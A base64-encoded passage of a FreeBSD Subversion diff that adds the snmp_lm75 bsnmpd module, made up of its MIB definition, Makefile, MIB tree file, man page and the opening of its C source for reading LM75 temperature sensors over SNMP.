IENvbmZpZ3VyYXRpb24gcGFyYW1ldGVycworLS0gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAtLQorCitsbTc1U2Vuc29yCU9CSkVDVCBJ REVOVElGSUVSIDo6PSB7IGJlZ2Vtb3RsbTc1T2JqZWN0cyAxIH0KKworbG03NVNlbnNvcnMJT0JK RUNULVRZUEUKKyAgICBTWU5UQVgJSW50ZWdlcjMyCisgICAgTUFYLUFDQ0VTUwlyZWFkLW9ubHkK KyAgICBTVEFUVVMJY3VycmVudAorICAgIERFU0NSSVBUSU9OCisJIk51bWJlciBvZiBMTTc1IHNl bnNvcnMgaW4gdGhlIHN5c3RlbS4iCisgICAgOjo9IHsgbG03NVNlbnNvcnMgMSB9CisKKy0tIC0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0g LS0KKy0tIFRlbXBTZW5zb3IgVGFibGUKKy0tIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gLS0KK2xtNzVTZW5zb3JUYWJsZSBPQkpFQ1Qt VFlQRQorICAgIFNZTlRBWAlTRVFVRU5DRSBPRiBMbTc1U2Vuc29yRW50cnkKKyAgICBNQVgtQUND RVNTCW5vdC1hY2Nlc3NpYmxlCisgICAgU1RBVFVTCWN1cnJlbnQKKyAgICBERVNDUklQVElPTgor CSJBIHRhYmxlIGNvbnRhaW5pbmcgaW5mb3JtYXRpb24gYWJvdXQgYWxsIHRlbXBlcmF0dXJlIHNl bnNvcnMuIgorICAgIDo6PSB7IGJlZ2Vtb3RMbTc1T2JqZWN0cyAyIH0KKworbG9vc1RlbXBTZW5z b3JFbnRyeSBPQkpFQ1QtVFlQRQorICAgIFNZTlRBWAlMbTc1U2Vuc29yRW50cnkKKyAgICBNQVgt QUNDRVNTCW5vdC1hY2Nlc3NpYmxlCisgICAgU1RBVFVTCWN1cnJlbnQKKyAgICBERVNDUklQVElP TgorCSJUYWJsZSBlbnRyeSB0aGF0IGRlc2NyaWJlcyBvbmUgdGVtcGVyYXR1cmUgc2Vuc29yLiIK KyAgICBJTkRFWAl7IGxtNzVTZW5zb3JJbmRleCB9CisgICAgOjo9IHsgbG03NVNlbnNvclRhYmxl IDEgfQorCitMbTc1U2Vuc29yRW50cnkgOjo9IFNFUVVFTkNFIHsKKyAgICBsbTc1U2Vuc29ySW5k ZXgJCQlJbnRlZ2VyMzIsCisgICAgbG03NVNlbnNvclN5c2N0bEluZGV4CQlJbnRlZ2VyMzIsCisg ICAgbG03NVNlbnNvckRlc2MJCQlPQ1RFVCBTVFJJTkcsCisgICAgbG03NVNlbnNvckxvY2F0aW9u CQkJT0NURVQgU1RSSU5HLAorICAgIGxtNzVTZW5zb3JQbnBJbmZvCQkJT0NURVQgU1RSSU5HLAor ICAgIGxtNzVTZW5zb3JQYXJlbnQJCQlPQ1RFVCBTVFJJTkcsCisgICAgbG03NVNlbnNvclRlbXBl cmF0dXJlCQlJbnRlZ2VyMzIKK30KKworbG03NVNlbnNvckluZGV4IE9CSkVDVC1UWVBFCisgICAg U1lOVEFYCUludGVnZXIzMgorICAgIE1BWC1BQ0NFU1MJcmVhZC1vbmx5CisgICAgU1RBVFVTCWN1 cnJlbnQKKyAgICBERVNDUklQVElPTgorCSJMTTc1IFNlbnNvciBpbmRleC4iCisgICAgOjo9IHsg bG03NVNlbnNvckVudHJ5IDEgfQorCitsbTc1U2Vuc29yU3lzY3RsSW5kZXggT0JKRUNULVRZUEUK KyAgICBTWU5UQVgJSW50ZWdlcjMyCisgICAgTUFYLUFDQ0VTUwlyZWFkLW9ubHkKKyAgICBTVEFU VVMJY3VycmVudAorICAgIERFU0NSSVBUSU9OCisJIkxNNzUgU2Vuc29yIHN5c2N0bCBpbmRleC4i CisgICAgOjo9IHsgbG03NVNlbnNvckVudHJ5IDIgfQorCitsbTc1U2Vuc29yRGVzYyBPQkpFQ1Qt VFlQRQorICAgIFNZTlRBWAlPQ1RFVCBTVFJJTkcKKyAgICBNQVgtQUNDRVNTCXJlYWQtb25seQor ICAgIFNUQVRVUwljdXJyZW50CisgICAgREVTQ1JJUFRJT04KKwkiTE03NSBTZW5zb3IgZGVzY3Jp cHRpb24uIgorICAgIDo6PSB7IGxtNzVTZW5zb3JFbnRyeSAzIH0KKworbG03NVNlbnNvckxvY2F0 aW9uIE9CSkVDVC1UWVBFCisgICAgU1lOVEFYCU9DVEVUIFNUUklORworICAgIE1BWC1BQ0NFU1MJ cmVhZC1vbmx5CisgICAgU1RBVFVTCWN1cnJlbnQKKyAgICBERVNDUklQVElPTgorCSJMTTc1IFNl bnNvciBsb2NhdGlvbi4iCisgICAgOjo9IHsgbG03NVNlbnNvckVudHJ5IDQgfQorCitsbTc1U2Vu c29yUG5wSW5mbyBPQkpFQ1QtVFlQRQorICAgIFNZTlRBWAlPQ1RFVCBTVFJJTkcKKyAgICBNQVgt QUNDRVNTCXJlYWQtb25seQorICAgIFNUQVRVUwljdXJyZW50CisgICAgREVTQ1JJUFRJT04KKwki TE03NSBTZW5zb3IgcG5wIGluZm9ybWF0aW9uLiIKKyAgICA6Oj0geyBsbTc1U2Vuc29yRW50cnkg NSB9CisKK2xtNzVTZW5zb3JQYXJlbnQgT0JKRUNULVRZUEUKKyAgICBTWU5UQVgJT0NURVQgU1RS SU5HCisgICAgTUFYLUFDQ0VTUwlyZWFkLW9ubHkKKyAgICBTVEFUVVMJY3VycmVudAorICAgIERF U0NSSVBUSU9OCisJIkxNNzUgU2Vuc29yIHBhcmVudCBidXMuIgorICAgIDo6PSB7IGxtNzVTZW5z b3JFbnRyeSA2IH0KKworbG03NVNlbnNvclRlbXBlcmF0dXJlIE9CSkVDVC1UWVBFCisgICAgU1lO VEFYCUludGVnZXIzMgorICAgIE1BWC1BQ0NFU1MJcmVhZC1vbmx5CisgICAgU1RBVFVTCWN1cnJl bnQKKyAgICBERVNDUklQVElPTgorCSJMTTc1IFNlbnNvciB0ZW1wZXJhdHVyZS4iCisgICAgOjo9 IHsgbG03NVNlbnNvckVudHJ5IDcgfQorCitFTkQKClByb3BlcnR5IGNoYW5nZXMgb246IHVzci5z YmluL2Jzbm1wZC9tb2R1bGVzL3NubXBfbG03NS9CRUdFTU9ULUxNNzUtTUlCLnR4dApfX19fX19f X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f X19fCkFkZGVkOiBzdm46ZW9sLXN0eWxlCiMjIC0wLDAgKzEgIyMKK25hdGl2ZQpcIE5vIG5ld2xp bmUgYXQgZW5kIG9mIHByb3BlcnR5CkFkZGVkOiBzdm46bWltZS10eXBlCiMjIC0wLDAgKzEgIyMK K3RleHQvcGxhaW4KXCBObyBuZXdsaW5lIGF0IGVuZCBvZiBwcm9wZXJ0eQpBZGRlZDogc3ZuOmtl eXdvcmRzCiMjIC0wLDAgKzEgIyMKK0ZyZWVCU0Q9JUgKXCBObyBuZXdsaW5lIGF0IGVuZCBvZiBw cm9wZXJ0eQpJbmRleDogdXNyLnNiaW4vYnNubXBkL21vZHVsZXMvc25tcF9sbTc1L01ha2VmaWxl Cj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT0KLS0tIHVzci5zYmluL2Jzbm1wZC9tb2R1bGVzL3NubXBfbG03NS9NYWtlZmls ZQkocmV2aXNpb24gMCkKKysrIHVzci5zYmluL2Jzbm1wZC9tb2R1bGVzL3NubXBfbG03NS9NYWtl ZmlsZQkod29ya2luZyBjb3B5KQpAQCAtMCwwICsxLDEzIEBACisjICRGcmVlQlNEJAorCisuaW5j bHVkZSA8YnNkLm93bi5taz4KKworTU9EPSAgICBsbTc1CitTUkNTPSAgIHNubXBfbG03NS5jCitY U1lNPSAgIGJlZ2Vtb3RMbTc1CitNQU49ICAgIHNubXBfbG03NS4zCisKK0JNSUJTPSAgQkVHRU1P VC1MTTc1LU1JQi50eHQKK0RFRlM9ICAgJHtNT0R9X3RyZWUuZGVmCisKKy5pbmNsdWRlIDxic2Qu c25tcG1vZC5taz4KClByb3BlcnR5IGNoYW5nZXMgb246IHVzci5zYmluL2Jzbm1wZC9tb2R1bGVz L3NubXBfbG03NS9NYWtlZmlsZQpfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fCkFkZGVkOiBzdm46ZW9sLXN0eWxlCiMjIC0w LDAgKzEgIyMKK25hdGl2ZQpcIE5vIG5ld2xpbmUgYXQgZW5kIG9mIHByb3BlcnR5CkFkZGVkOiBz dm46bWltZS10eXBlCiMjIC0wLDAgKzEgIyMKK3RleHQvcGxhaW4KXCBObyBuZXdsaW5lIGF0IGVu ZCBvZiBwcm9wZXJ0eQpBZGRlZDogc3ZuOmtleXdvcmRzCiMjIC0wLDAgKzEgIyMKK0ZyZWVCU0Q9 JUgKXCBObyBuZXdsaW5lIGF0IGVuZCBvZiBwcm9wZXJ0eQpJbmRleDogdXNyLnNiaW4vYnNubXBk L21vZHVsZXMvc25tcF9sbTc1L2xtNzVfdHJlZS5kZWYKPT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQotLS0gdXNyLnNiaW4v YnNubXBkL21vZHVsZXMvc25tcF9sbTc1L2xtNzVfdHJlZS5kZWYJKHJldmlzaW9uIDApCisrKyB1 c3Iuc2Jpbi9ic25tcGQvbW9kdWxlcy9zbm1wX2xtNzUvbG03NV90cmVlLmRlZgkod29ya2luZyBj b3B5KQpAQCAtMCwwICsxLDU2IEBACisjLQorIyBDb3B5cmlnaHQgKGMpIDIwMTQgTHVpeiBPdGF2 aW8gTyBTb3V6YSA8bG9vc0BGcmVlQlNELm9yZz4KKyMgQWxsIHJpZ2h0cyByZXNlcnZlZC4KKyMK KyMgUmVkaXN0cmlidXRpb24gYW5kIHVzZSBpbiBzb3VyY2UgYW5kIGJpbmFyeSBmb3Jtcywgd2l0 aCBvciB3aXRob3V0CisjIG1vZGlmaWNhdGlvbiwgYXJlIHBlcm1pdHRlZCBwcm92aWRlZCB0aGF0 IHRoZSBmb2xsb3dpbmcgY29uZGl0aW9ucworIyBhcmUgbWV0OgorIyAxLiBSZWRpc3RyaWJ1dGlv bnMgb2Ygc291cmNlIGNvZGUgbXVzdCByZXRhaW4gdGhlIGFib3ZlIGNvcHlyaWdodAorIyAgICBu b3RpY2UsIHRoaXMgbGlzdCBvZiBjb25kaXRpb25zIGFuZCB0aGUgZm9sbG93aW5nIGRpc2NsYWlt ZXIuCisjIDIuIFJlZGlzdHJpYnV0aW9ucyBpbiBiaW5hcnkgZm9ybSBtdXN0IHJlcHJvZHVjZSB0 aGUgYWJvdmUgY29weXJpZ2h0CisjICAgIG5vdGljZSwgdGhpcyBsaXN0IG9mIGNvbmRpdGlvbnMg YW5kIHRoZSBmb2xsb3dpbmcgZGlzY2xhaW1lciBpbiB0aGUKKyMgICAgZG9jdW1lbnRhdGlvbiBh bmQvb3Igb3RoZXIgbWF0ZXJpYWxzIHByb3ZpZGVkIHdpdGggdGhlIGRpc3RyaWJ1dGlvbi4KKyMK KyMgVEhJUyBTT0ZUV0FSRSBJUyBQUk9WSURFRCBCWSBUSEUgUkVHRU5UUyBBTkQgQ09OVFJJQlVU T1JTIGBgQVMgSVMnJyBBTkQKKyMgQU5ZIEVYUFJFU1MgT1IgSU1QTElFRCBXQVJSQU5USUVTLCBJ TkNMVURJTkcsIEJVVCBOT1QgTElNSVRFRCBUTywgVEhFCisjIElNUExJRUQgV0FSUkFOVElFUyBP RiBNRVJDSEFOVEFCSUxJVFkgQU5EIEZJVE5FU1MgRk9SIEEgUEFSVElDVUxBUiBQVVJQT1NFCisj IEFSRSBESVNDTEFJTUVELiAgSU4gTk8gRVZFTlQgU0hBTEwgVEhFIFJFR0VOVFMgT1IgQ09OVFJJ QlVUT1JTIEJFIExJQUJMRQorIyBGT1IgQU5ZIERJUkVDVCwgSU5ESVJFQ1QsIElOQ0lERU5UQUws IFNQRUNJQUwsIEVYRU1QTEFSWSwgT1IgQ09OU0VRVUVOVElBTAorIyBEQU1BR0VTIChJTkNMVURJ TkcsIEJVVCBOT1QgTElNSVRFRCBUTywgUFJPQ1VSRU1FTlQgT0YgU1VCU1RJVFVURSBHT09EUwor IyBPUiBTRVJWSUNFUzsgTE9TUyBPRiBVU0UsIERBVEEsIE9SIFBST0ZJVFM7IE9SIEJVU0lORVNT IElOVEVSUlVQVElPTikKKyMgSE9XRVZFUiBDQVVTRUQgQU5EIE9OIEFOWSBUSEVPUlkgT0YgTElB QklMSVRZLCBXSEVUSEVSIElOIENPTlRSQUNULCBTVFJJQ1QKKyMgTElBQklMSVRZLCBPUiBUT1JU IChJTkNMVURJTkcgTkVHTElHRU5DRSBPUiBPVEhFUldJU0UpIEFSSVNJTkcgSU4gQU5ZIFdBWQor IyBPVVQgT0YgVEhFIFVTRSBPRiBUSElTIFNPRlRXQVJFLCBFVkVOIElGIEFEVklTRUQgT0YgVEhF IFBPU1NJQklMSVRZIE9GCisjIFNVQ0ggREFNQUdFLgorIworIyAkRnJlZUJTRCQKKyMKKworKDEg aW50ZXJuZXQKKyAgKDQgcHJpdmF0ZQorICAgICgxIGVudGVycHJpc2VzCisgICAgICAoMTIzMjUg Zm9rdXMKKyAgICAgICAgKDEgYmVnZW1vdAorICAgICAgICAgICg0MDAgYmVnZW1vdExtNzUKKyAg ICAgICAgICAgICgxIGJlZ2Vtb3RMbTc1T2JqZWN0cworICAgICAgICAgICAgICAoMSBsbTc1U2Vu c29ycworICAgICAgICAgICAgICAgICgxIGxtNzVTZW5zb3JzIElOVEVHRVIzMiBvcF9sbTc1U2Vu c29ycyBHRVQpCisgICAgICAgICAgICAgICkKKyAgICAgICAgICAgICAgKDIgbG03NVNlbnNvclRh YmxlCisgICAgICAgICAgICAgICAgKDEgbG03NVNlbnNvckVudHJ5IDogT0NURVRTVFJJTkcgb3Bf bG03NVNlbnNvclRhYmxlCisgICAgICAgICAgICAgICAgICAoMSBsbTc1U2Vuc29ySW5kZXggSU5U RUdFUjMyIEdFVCkKKyAgICAgICAgICAgICAgICAgICgyIGxtNzVTZW5zb3JTeXNjdGxJbmRleCBJ TlRFR0VSMzIgR0VUKQorICAgICAgICAgICAgICAgICAgKDMgbG03NVNlbnNvckRlc2MgT0NURVRT VFJJTkcgR0VUKQorICAgICAgICAgICAgICAgICAgKDQgbG03NVNlbnNvckxvY2F0aW9uIE9DVEVU U1RSSU5HIEdFVCkKKyAgICAgICAgICAgICAgICAgICg1IGxtNzVTZW5zb3JQbnBJbmZvIE9DVEVU U1RSSU5HIEdFVCkKKyAgICAgICAgICAgICAgICAgICg2IGxtNzVTZW5zb3JQYXJlbnQgT0NURVRT VFJJTkcgR0VUKQorICAgICAgICAgICAgICAgICAgKDcgbG03NVNlbnNvclRlbXBlcmF0dXJlIElO VEVHRVIzMiBHRVQpCisgICAgICAgICAgICAgICAgKQorICAgICAgICAgICAgICApCisgICAgICAg ICAgICApCisgICAgICAgICAgKQorICAgICAgICApCisgICAgICApCisgICAgKQorICApCispCklu ZGV4OiB1c3Iuc2Jpbi9ic25tcGQvbW9kdWxlcy9zbm1wX2xtNzUvc25tcF9sbTc1LjMKPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PQotLS0gdXNyLnNiaW4vYnNubXBkL21vZHVsZXMvc25tcF9sbTc1L3NubXBfbG03NS4zCShy ZXZpc2lvbiAwKQorKysgdXNyLnNiaW4vYnNubXBkL21vZHVsZXMvc25tcF9sbTc1L3NubXBfbG03 NS4zCSh3b3JraW5nIGNvcHkpCkBAIC0wLDAgKzEsNjAgQEAKKy5cIi0KKy5cIiBDb3B5cmlnaHQg KGMpIDIwMTQgTHVpeiBPdGF2aW8gTyBTb3V6YSA8bG9vc0BGcmVlQlNELm9yZz4KKy5cIiBBbGwg cmlnaHRzIHJlc2VydmVkLgorLlwiCisuXCIgUmVkaXN0cmlidXRpb24gYW5kIHVzZSBpbiBzb3Vy Y2UgYW5kIGJpbmFyeSBmb3Jtcywgd2l0aCBvciB3aXRob3V0CisuXCIgbW9kaWZpY2F0aW9uLCBh cmUgcGVybWl0dGVkIHByb3ZpZGVkIHRoYXQgdGhlIGZvbGxvd2luZyBjb25kaXRpb25zCisuXCIg YXJlIG1ldDoKKy5cIiAxLiBSZWRpc3RyaWJ1dGlvbnMgb2Ygc291cmNlIGNvZGUgbXVzdCByZXRh aW4gdGhlIGFib3ZlIGNvcHlyaWdodAorLlwiICAgIG5vdGljZSwgdGhpcyBsaXN0IG9mIGNvbmRp dGlvbnMgYW5kIHRoZSBmb2xsb3dpbmcgZGlzY2xhaW1lci4KKy5cIiAyLiBSZWRpc3RyaWJ1dGlv bnMgaW4gYmluYXJ5IGZvcm0gbXVzdCByZXByb2R1Y2UgdGhlIGFib3ZlIGNvcHlyaWdodAorLlwi ICAgIG5vdGljZSwgdGhpcyBsaXN0IG9mIGNvbmRpdGlvbnMgYW5kIHRoZSBmb2xsb3dpbmcgZGlz Y2xhaW1lciBpbiB0aGUKKy5cIiAgICBkb2N1bWVudGF0aW9uIGFuZC9vciBvdGhlciBtYXRlcmlh bHMgcHJvdmlkZWQgd2l0aCB0aGUgZGlzdHJpYnV0aW9uLgorLlwiCisuXCIgVEhJUyBTT0ZUV0FS RSBJUyBQUk9WSURFRCBCWSBUSEUgUkVHRU5UUyBBTkQgQ09OVFJJQlVUT1JTIGBgQVMgSVMnJyBB TkQKKy5cIiBBTlkgRVhQUkVTUyBPUiBJTVBMSUVEIFdBUlJBTlRJRVMsIElOQ0xVRElORywgQlVU IE5PVCBMSU1JVEVEIFRPLCBUSEUKKy5cIiBJTVBMSUVEIFdBUlJBTlRJRVMgT0YgTUVSQ0hBTlRB QklMSVRZIEFORCBGSVRORVNTIEZPUiBBIFBBUlRJQ1VMQVIgUFVSUE9TRQorLlwiIEFSRSBESVND TEFJTUVELiAgSU4gTk8gRVZFTlQgU0hBTEwgVEhFIFJFR0VOVFMgT1IgQ09OVFJJQlVUT1JTIEJF IExJQUJMRQorLlwiIEZPUiBBTlkgRElSRUNULCBJTkRJUkVDVCwgSU5DSURFTlRBTCwgU1BFQ0lB TCwgRVhFTVBMQVJZLCBPUiBDT05TRVFVRU5USUFMCisuXCIgREFNQUdFUyAoSU5DTFVESU5HLCBC VVQgTk9UIExJTUlURUQgVE8sIFBST0NVUkVNRU5UIE9GIFNVQlNUSVRVVEUgR09PRFMKKy5cIiBP UiBTRVJWSUNFUzsgTE9TUyBPRiBVU0UsIERBVEEsIE9SIFBST0ZJVFM7IE9SIEJVU0lORVNTIElO VEVSUlVQVElPTikKKy5cIiBIT1dFVkVSIENBVVNFRCBBTkQgT04gQU5ZIFRIRU9SWSBPRiBMSUFC SUxJVFksIFdIRVRIRVIgSU4gQ09OVFJBQ1QsIFNUUklDVAorLlwiIExJQUJJTElUWSwgT1IgVE9S VCAoSU5DTFVESU5HIE5FR0xJR0VOQ0UgT1IgT1RIRVJXSVNFKSBBUklTSU5HIElOIEFOWSBXQVkK Ky5cIiBPVVQgT0YgVEhFIFVTRSBPRiBUSElTIFNPRlRXQVJFLCBFVkVOIElGIEFEVklTRUQgT0Yg VEhFIFBPU1NJQklMSVRZIE9GCisuXCIgU1VDSCBEQU1BR0UuCisuXCIKKy5cIiAkRnJlZUJTRCQK Ky5cIgorLkRkIEZlYnJ1YXJ5IDI0LCAyMDE0CisuRHQgU05NUF9MTTc1IDMKKy5PcworLlNoIE5B TUUKKy5ObSBzbm1wX2xtNzUKKy5OZCAiTE03NSBTZW5zb3IgbW9kdWxlIGZvciIKKy5YciBic25t cGQgMQorLlNoIExJQlJBUlkKKy5QcSBiZWdlbW90U25tcGRNb2R1bGVQYXRoLiJsbTc1IiA9ICIv dXNyL2xpYi9zbm1wX2xtNzUuc28iCisuU2ggREVTQ1JJUFRJT04KK1RoZQorLk5tIHNubXBfbG03 NQorbW9kdWxlIGltcGxlbWVudHMgYSBwcml2YXRlIEJFR0VNT1QtTE03NS1NSUIsIHdoaWNoIGFs bG93cworcmVhZGluZyB0aGUgdGVtcGVyYXR1cmUgb2YgdGhlIExNNzUgc2Vuc29ycyBvbiB0aGUg c3lzdGVtLgorLlBwCitUaGUgbW9kdWxlIHJlYWRzIHRoZSBzZW5zb3IocykgdGVtcGVyYXR1cmUg dXNpbmcgdGhlCisuWHIgc3lzY3RsIDgKK0FQSS4KKy5TaCBGSUxFUworLkJsIC10YWcgLXdpZHRo ICJYWFhYWFhYWFgiCisuSXQgUGEgL3Vzci9zaGFyZS9zbm1wL2RlZnMvbG03NV90cmVlLmRlZgor VGhlIGRlc2NyaXB0aW9uIG9mIHRoZSBNSUIgdHJlZSBpbXBsZW1lbnRlZCBieQorLk5tIC4KKy5J dCBQYSAvdXNyL3NoYXJlL3NubXAvbWlicy9CRUdFTU9ULUxNNzUtTUlCLnR4dAorVGhlIHByaXZh dGUgQkVHRU1PVC1MTTc1LU1JQiB0aGF0IGlzIGltcGxlbWVudGVkIGJ5IHRoaXMgbW9kdWxlLgor LkVsCisuU2ggU0VFIEFMU08KKy5YciBic25tcGQgMSAsCisuWHIgZ2Vuc25tcHRyZWUgMSAsCisu WHIgc25tcG1vZCAzICwKKy5YciBsbTc1IDQKKy5TaCBBVVRIT1JTCisuQW4gTHVpeiBPdGF2aW8g TyBTb3V6YSBBcSBsb29zQEZyZWVCU0Qub3JnCgpQcm9wZXJ0eSBjaGFuZ2VzIG9uOiB1c3Iuc2Jp bi9ic25tcGQvbW9kdWxlcy9zbm1wX2xtNzUvc25tcF9sbTc1LjMKX19fX19fX19fX19fX19fX19f X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXwpBZGRlZDog c3ZuOmVvbC1zdHlsZQojIyAtMCwwICsxICMjCituYXRpdmUKXCBObyBuZXdsaW5lIGF0IGVuZCBv ZiBwcm9wZXJ0eQpBZGRlZDogc3ZuOm1pbWUtdHlwZQojIyAtMCwwICsxICMjCit0ZXh0L3BsYWlu ClwgTm8gbmV3bGluZSBhdCBlbmQgb2YgcHJvcGVydHkKQWRkZWQ6IHN2bjprZXl3b3JkcwojIyAt MCwwICsxICMjCitGcmVlQlNEPSVIClwgTm8gbmV3bGluZSBhdCBlbmQgb2YgcHJvcGVydHkKSW5k ZXg6IHVzci5zYmluL2Jzbm1wZC9tb2R1bGVzL3NubXBfbG03NS9zbm1wX2xtNzUuYwo9PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09Ci0tLSB1c3Iuc2Jpbi9ic25tcGQvbW9kdWxlcy9zbm1wX2xtNzUvc25tcF9sbTc1LmMJKHJl dmlzaW9uIDApCisrKyB1c3Iuc2Jpbi9ic25tcGQvbW9kdWxlcy9zbm1wX2xtNzUvc25tcF9sbTc1 LmMJKHdvcmtpbmcgY29weSkKQEAgLTAsMCArMSw0MzYgQEAKKy8qLQorICogQ29weXJpZ2h0IChj KSAyMDE0IEx1aXogT3RhdmlvIE8gU291emEgPGxvb3NARnJlZUJTRC5vcmc+CisgKiBBbGwgcmln aHRzIHJlc2VydmVkLgorICoKKyAqIFJlZGlzdHJpYnV0aW9uIGFuZCB1c2UgaW4gc291cmNlIGFu ZCBiaW5hcnkgZm9ybXMsIHdpdGggb3Igd2l0aG91dAorICogbW9kaWZpY2F0aW9uLCBhcmUgcGVy bWl0dGVkIHByb3ZpZGVkIHRoYXQgdGhlIGZvbGxvd2luZyBjb25kaXRpb25zCisgKiBhcmUgbWV0 OgorICogMS4gUmVkaXN0cmlidXRpb25zIG9mIHNvdXJjZSBjb2RlIG11c3QgcmV0YWluIHRoZSBh Ym92ZSBjb3B5cmlnaHQKKyAqICAgIG5vdGljZSwgdGhpcyBsaXN0IG9mIGNvbmRpdGlvbnMgYW5k IHRoZSBmb2xsb3dpbmcgZGlzY2xhaW1lci4KKyAqIDIuIFJlZGlzdHJpYnV0aW9ucyBpbiBiaW5h cnkgZm9ybSBtdXN0IHJlcHJvZHVjZSB0aGUgYWJvdmUgY29weXJpZ2h0CisgKiAgICBub3RpY2Us IHRoaXMgbGlzdCBvZiBjb25kaXRpb25zIGFuZCB0aGUgZm9sbG93aW5nIGRpc2NsYWltZXIgaW4g dGhlCisgKiAgICBkb2N1bWVudGF0aW9uIGFuZC9vciBvdGhlciBtYXRlcmlhbHMgcHJvdmlkZWQg d2l0aCB0aGUgZGlzdHJpYnV0aW9uLgorICoKKyAqIFRISVMgU09GVFdBUkUgSVMgUFJPVklERUQg QlkgVEhFIFJFR0VOVFMgQU5EIENPTlRSSUJVVE9SUyBgYEFTIElTJycgQU5ECisgKiBBTlkgRVhQ UkVTUyBPUiBJTVBMSUVEIFdBUlJBTlRJRVMsIElOQ0xVRElORywgQlVUIE5PVCBMSU1JVEVEIFRP LCBUSEUKKyAqIElNUExJRUQgV0FSUkFOVElFUyBPRiBNRVJDSEFOVEFCSUxJVFkgQU5EIEZJVE5F U1MgRk9SIEEgUEFSVElDVUxBUiBQVVJQT1NFCisgKiBBUkUgRElTQ0xBSU1FRC4gIElOIE5PIEVW RU5UIFNIQUxMIFRIRSBSRUdFTlRTIE9SIENPTlRSSUJVVE9SUyBCRSBMSUFCTEUKKyAqIEZPUiBB TlkgRElSRUNULCBJTkRJUkVDVCwgSU5DSURFTlRBTCwgU1BFQ0lBTCwgRVhFTVBMQVJZLCBPUiBD T05TRVFVRU5USUFMCisgKiBEQU1BR0VTIChJTkNMVURJTkcsIEJVVCBOT1QgTElNSVRFRCBUTywg UFJPQ1VSRU1FTlQgT0YgU1VCU1RJVFVURSBHT09EUworICogT1IgU0VSVklDRVM7IExPU1MgT0Yg VVNFLCBEQVRBLCBPUiBQUk9GSVRTOyBPUiBCVVNJTkVTUyBJTlRFUlJVUFRJT04pCisgKiBIT1dF VkVSIENBVVNFRCBBTkQgT04gQU5ZIFRIRU9SWSBPRiBMSUFCSUxJVFksIFdIRVRIRVIgSU4gQ09O VFJBQ1QsIFNUUklDVAorICogTElBQklMSVRZLCBPUiBUT1JUIChJTkNMVURJTkcgTkVHTElHRU5D RSBPUiBPVEhFUldJU0UpIEFSSVNJTkcgSU4gQU5ZIFdBWQorICogT1VUIE9GIFRIRSBVU0UgT0Yg VEhJUyBTT0ZUV0FSRSwgRVZFTiBJRiBBRFZJU0VEIE9GIFRIRSBQT1NTSUJJTElUWSBPRgorICog U1VDSCBEQU1BR0UuCisgKi8KKworI2luY2x1ZGUgPHN5cy9jZGVmcy5oPgorX19GQlNESUQoIiRG cmVlQlNEJCIpOworCisjaW5jbHVkZSA8c3lzL3BhcmFtLmg+CisjaW5jbHVkZSA8c3lzL3F1ZXVl Lmg+CisjaW5jbHVkZSA8c3lzL3N5c2N0bC5oPgorCisjaW5jbHVkZSA8YnNubXAvc25tcG1vZC5o PgorCisjaW5jbHVkZSA8c3RkaW8uaD4KKyNpbmNsdWRlIDxzdGRsaWIuaD4KKyNpbmNsdWRlIDxz dHJpbmcuaD4KKyNpbmNsdWRlIDxzeXNsb2cuaD4KKworI2luY2x1ZGUgImxtNzVfb2lkLmgiCisj aW5jbHVkZSAibG03NV90cmVlLmgiCisKKyNpZm5kZWYJTE03NUJVRgorI2RlZmluZQlMTTc1QlVG CQk2NAorI2VuZGlmCisjZGVmaW5lCVRaX1pFUk9DCTI3MzIKKyNkZWZpbmUgVVBEQVRFX0lOVEVS VkFMCTUwMAkvKiB1cGRhdGUgaW50ZXJ2YWwgaW4gdGlja3MgKi8KKworc3RhdGljIHN0cnVjdCBs bW9kdWxlICptb2R1bGU7CisKK3N0YXRpYyBjb25zdCBzdHJ1Y3QgYXNuX29pZCBvaWRfbG03NSA9 IE9JRFhfYmVnZW1vdExtNzU7CisKKy8qIHRoZSBPYmplY3QgUmVzb3VyY2UgcmVnaXN0cmF0aW9u IGluZGV4ICovCitzdGF0aWMgdV9pbnQgbG03NV9pbmRleCA9IDA7CisKKy8qIE51bWJlciBvZiBh dmFpbGFibGUgc2Vuc29ycyBpbiB0aGUgc3lzdGVtLiAqLworc3RhdGljIGludCBsbTc1X3NlbnNv cnM7CisKKy8qCisgKiBTdHJ1Y3R1cmUgdGhhdCBkZXNjcmliZXMgc2luZ2xlIHNlbnNvci4KKyAq Lworc3RydWN0IGxtNzVfc25tcF9zZW5zb3IgeworCVRBSUxRX0VOVFJZKGxtNzVfc25tcF9zZW5z b3IpIGxpbms7CisJaW50MzJfdAkJaW5kZXg7CisJaW50MzJfdAkJc3lzY3RsaWR4OworCWludDMy X3QJCXRlbXA7CisJY2hhcgkJZGVzY1tMTTc1QlVGXTsKKwljaGFyCQlsb2NhdGlvbltMTTc1QlVG XTsKKwljaGFyCQlwYXJlbnRbTE03NUJVRl07CisJY2hhcgkJcG5waW5mb1tMTTc1QlVGXTsKK307 CisKK3N0YXRpYyBUQUlMUV9IRUFEKCwgbG03NV9zbm1wX3NlbnNvcikgc2Vuc29ycyA9CisgICAg VEFJTFFfSEVBRF9JTklUSUFMSVpFUihzZW5zb3JzKTsKKworLyogVGlja3Mgb2YgdGhlIGxhc3Qg c2Vuc29ycyByZWFkaW5nLiAqLworc3RhdGljIHVpbnQ2NF90IGxhc3Rfc2Vuc29yc191cGRhdGU7 